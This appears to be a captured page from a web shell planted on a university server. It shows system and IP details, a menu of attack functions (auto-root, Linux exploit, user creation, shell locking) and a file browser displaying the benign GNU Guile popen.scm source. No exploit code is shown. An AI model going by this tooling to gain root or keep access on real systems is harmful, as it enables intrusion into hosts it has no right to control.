Linux ns1.utparral.edu.mx 6.8.0-79-generic #79~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 15 16:54:53 UTC 2 x86_64
Apache/2.4.58 (Unix) OpenSSL/1.1.1w PHP/8.2.12 mod_perl/2.0.12 Perl/v5.34.1
: 10.10.1.9 | : 10.10.1.254
Cant Read [ /etc/named.conf ]
daemon
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
README
+ Create Folder
+ Create File
/
usr /
share /
guile /
2.2 /
ice-9 /
[ HOME SHELL ]
Name
Size
Permission
Action
peg
[ DIR ]
drwxr-xr-x
and-let-star.scm
2.53
KB
-rw-r--r--
arrays.scm
2.63
KB
-rw-r--r--
atomic.scm
1.55
KB
-rw-r--r--
binary-ports.scm
1.99
KB
-rw-r--r--
boot-9.scm
143.94
KB
-rw-r--r--
buffered-input.scm
4.82
KB
-rw-r--r--
calling.scm
10.54
KB
-rw-r--r--
channel.scm
5.19
KB
-rw-r--r--
command-line.scm
18.2
KB
-rw-r--r--
common-list.scm
8.95
KB
-rw-r--r--
control.scm
4.08
KB
-rw-r--r--
curried-definitions.scm
1.79
KB
-rw-r--r--
debug.scm
1.09
KB
-rw-r--r--
deprecated.scm
2.95
KB
-rw-r--r--
documentation.scm
7.41
KB
-rw-r--r--
eval.scm
25.12
KB
-rw-r--r--
eval-string.scm
2.99
KB
-rw-r--r--
expect.scm
5.5
KB
-rw-r--r--
fdes-finalizers.scm
1.06
KB
-rw-r--r--
format.scm
74.37
KB
-rw-r--r--
ftw.scm
24.17
KB
-rw-r--r--
futures.scm
10.49
KB
-rw-r--r--
gap-buffer.scm
10.14
KB
-rw-r--r--
getopt-long.scm
16.49
KB
-rw-r--r--
hash-table.scm
1.77
KB
-rw-r--r--
hcons.scm
2.55
KB
-rw-r--r--
history.scm
2.29
KB
-rw-r--r--
i18n.scm
20.51
KB
-rw-r--r--
iconv.scm
3.65
KB
-rw-r--r--
lineio.scm
3.85
KB
-rw-r--r--
list.scm
1.29
KB
-rw-r--r--
local-eval.scm
9.96
KB
-rw-r--r--
ls.scm
3.2
KB
-rw-r--r--
mapping.scm
4.84
KB
-rw-r--r--
match.scm
2
KB
-rw-r--r--
match.upstream.scm
35.92
KB
-rw-r--r--
networking.scm
3.33
KB
-rw-r--r--
null.scm
1.13
KB
-rw-r--r--
occam-channel.scm
7.26
KB
-rw-r--r--
optargs.scm
15.75
KB
-rw-r--r--
peg.scm
1.64
KB
-rw-r--r--
poe.scm
3.3
KB
-rw-r--r--
poll.scm
5.79
KB
-rw-r--r--
popen.scm
6.82
KB
-rw-r--r--
ports.scm
18.89
KB
-rw-r--r--
posix.scm
2.73
KB
-rw-r--r--
pretty-print.scm
16.88
KB
-rw-r--r--
psyntax-pp.scm
180.55
KB
-rw-r--r--
psyntax.scm
148.7
KB
-rw-r--r--
q.scm
4.2
KB
-rw-r--r--
quasisyntax.scm
5.22
KB
-rw-r--r--
r5rs.scm
1.56
KB
-rw-r--r--
r6rs-libraries.scm
9.43
KB
-rw-r--r--
rdelim.scm
7.72
KB
-rw-r--r--
readline.scm
9.56
KB
-rw-r--r--
receive.scm
1.06
KB
-rw-r--r--
regex.scm
8.87
KB
-rw-r--r--
runq.scm
8.18
KB
-rw-r--r--
rw.scm
1.02
KB
-rw-r--r--
safe-r5rs.scm
3.72
KB
-rw-r--r--
safe.scm
1.25
KB
-rw-r--r--
sandbox.scm
34.23
KB
-rw-r--r--
save-stack.scm
2.15
KB
-rw-r--r--
scm-style-repl.scm
11.62
KB
-rw-r--r--
serialize.scm
3.78
KB
-rw-r--r--
session.scm
17.72
KB
-rw-r--r--
slib.scm
1.55
KB
-rw-r--r--
stack-catch.scm
1.94
KB
-rw-r--r--
streams.scm
5.86
KB
-rw-r--r--
string-fun.scm
8.59
KB
-rw-r--r--
suspendable-ports.scm
29.87
KB
-rw-r--r--
syncase.scm
1.52
KB
-rw-r--r--
textual-ports.scm
2.29
KB
-rw-r--r--
threads.scm
12.54
KB
-rw-r--r--
time.scm
2.07
KB
-rw-r--r--
top-repl.scm
2.75
KB
-rw-r--r--
unicode.scm
1005
B
-rw-r--r--
vlist.scm
21.56
KB
-rw-r--r--
weak-vector.scm
1.2
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : popen.scm
;; popen emulation, for non-stdio based ports. ;;;; Copyright (C) 1998-2001, 2003, 2006, 2010-2013, 2019 ;;;; Free Software Foundation, Inc. ;;;; ;;;; This library is free software; you can redistribute it and/or ;;;; modify it under the terms of the GNU Lesser General Public ;;;; License as published by the Free Software Foundation; either ;;;; version 3 of the License, or (at your option) any later version. ;;;; ;;;; This library is distributed in the hope that it will be useful, ;;;; but WITHOUT ANY WARRANTY; without even the implied warranty of ;;;; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU ;;;; Lesser General Public License for more details. ;;;; ;;;; You should have received a copy of the GNU Lesser General Public ;;;; License along with this library; if not, write to the Free Software ;;;; Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ;;;; (define-module (ice-9 popen) #:use-module (rnrs bytevectors) #:use-module (ice-9 binary-ports) #:use-module (ice-9 threads) #:use-module (srfi srfi-9) #:export (port/pid-table open-pipe* open-pipe close-pipe open-input-pipe open-output-pipe open-input-output-pipe)) (eval-when (expand load eval) (load-extension (string-append "libguile-" (effective-version)) "scm_init_popen")) (define-record-type <pipe-info> (make-pipe-info pid) pipe-info? (pid pipe-info-pid set-pipe-info-pid!)) (define (make-rw-port read-port write-port) (define (read! bv start count) (let ((result (get-bytevector-some! read-port bv start count))) (if (eof-object? result) 0 result))) (define (write! bv start count) (put-bytevector write-port bv start count) count) (define (close) (close-port read-port) (close-port write-port)) (define rw-port (make-custom-binary-input/output-port "ice-9-popen-rw-port" read! write! #f ;get-position #f ;set-position! close)) ;; Enable buffering on 'read-port' so that 'get-bytevector-some' will ;; return non-trivial blocks. (setvbuf read-port 'block 16384) ;; Inherit the port-encoding from the read-port. (set-port-encoding! rw-port (port-encoding read-port)) ;; Reset the port encoding on the underlying ports to inhibit BOM ;; handling there. Instead, the BOM handling (if any) will be handled ;; in the rw-port. In the current implementation of Guile ports, ;; using binary I/O primitives alone is not enough to reliably inhibit ;; BOM handling, if the port encoding is set to UTF-{8,16,32}. (set-port-encoding! read-port "ISO-8859-1") (set-port-encoding! write-port "ISO-8859-1") rw-port) ;; a guardian to ensure the cleanup is done correctly when ;; an open pipe is gc'd or a close-port is used. (define pipe-guardian (make-guardian)) ;; a weak hash-table to store the process ids. ;; XXX use of this table is deprecated. It is no longer used here, and ;; is populated for backward compatibility only (since it is exported). (define port/pid-table (make-weak-key-hash-table 31)) (define port/pid-table-mutex (make-mutex)) (define (open-pipe* mode command . args) "Executes the program @var{command} with optional arguments @var{args} (all strings) in a subprocess. A port to the process (based on pipes) is created and returned. @var{mode} specifies whether an input, an output or an input-output port to the process is created: it should be the value of @code{OPEN_READ}, @code{OPEN_WRITE} or @code{OPEN_BOTH}." (call-with-values (lambda () (apply open-process mode command args)) (lambda (read-port write-port pid) (let ((port (or (and read-port write-port (make-rw-port read-port write-port)) read-port write-port (%make-void-port mode))) (pipe-info (make-pipe-info pid))) ;; Guard the pipe-info instead of the port, so that we can still ;; call 'waitpid' even if 'close-port' is called (which clears ;; the port entry). (pipe-guardian pipe-info) (%set-port-property! port 'popen-pipe-info pipe-info) ;; XXX populate port/pid-table for backward compatibility. (with-mutex port/pid-table-mutex (hashq-set! port/pid-table port pid)) port)))) (define (open-pipe command mode) "Executes the shell command @var{command} (a string) in a subprocess. A port to the process (based on pipes) is created and returned. @var{mode} specifies whether an input, an output or an input-output port to the process is created: it should be the value of @code{OPEN_READ}, @code{OPEN_WRITE} or @code{OPEN_BOTH}." (open-pipe* mode "/bin/sh" "-c" command)) (define (fetch-pipe-info port) (%port-property port 'popen-pipe-info)) (define (close-process port pid) (close-port port) (cdr (waitpid pid))) (define (close-pipe p) "Closes the pipe created by @code{open-pipe}, then waits for the process to terminate and returns its status value, @xref{Processes, waitpid}, for information on how to interpret this value." (let ((pipe-info (fetch-pipe-info p))) (unless pipe-info (error "close-pipe: port not created by (ice-9 popen)")) (let ((pid (pipe-info-pid pipe-info))) (unless pid (error "close-pipe: pid has already been cleared")) ;; clear the pid to avoid repeated calls to 'waitpid'. (set-pipe-info-pid! pipe-info #f) (close-process p pid)))) (define (reap-pipes) (let loop () (let ((pipe-info (pipe-guardian))) (when pipe-info (let ((pid (pipe-info-pid pipe-info))) ;; maybe 'close-pipe' was already called. (when pid ;; clean up without reporting errors. also avoids blocking ;; the process: if the child isn't ready to be collected, ;; puts it back into the guardian's live list so it can be ;; tried again the next time the cleanup runs. (catch 'system-error (lambda () (let ((pid/status (waitpid pid WNOHANG))) (if (zero? (car pid/status)) (pipe-guardian pipe-info) ; not ready for collection (set-pipe-info-pid! pipe-info #f)))) (lambda args #f)))) (loop))))) (add-hook! after-gc-hook reap-pipes) (define (open-input-pipe command) "Equivalent to @code{open-pipe} with mode @code{OPEN_READ}" (open-pipe command OPEN_READ)) (define (open-output-pipe command) "Equivalent to @code{open-pipe} with mode @code{OPEN_WRITE}" (open-pipe command OPEN_WRITE)) (define (open-input-output-pipe command) "Equivalent to @code{open-pipe} with mode @code{OPEN_BOTH}" (open-pipe command OPEN_BOTH))
Close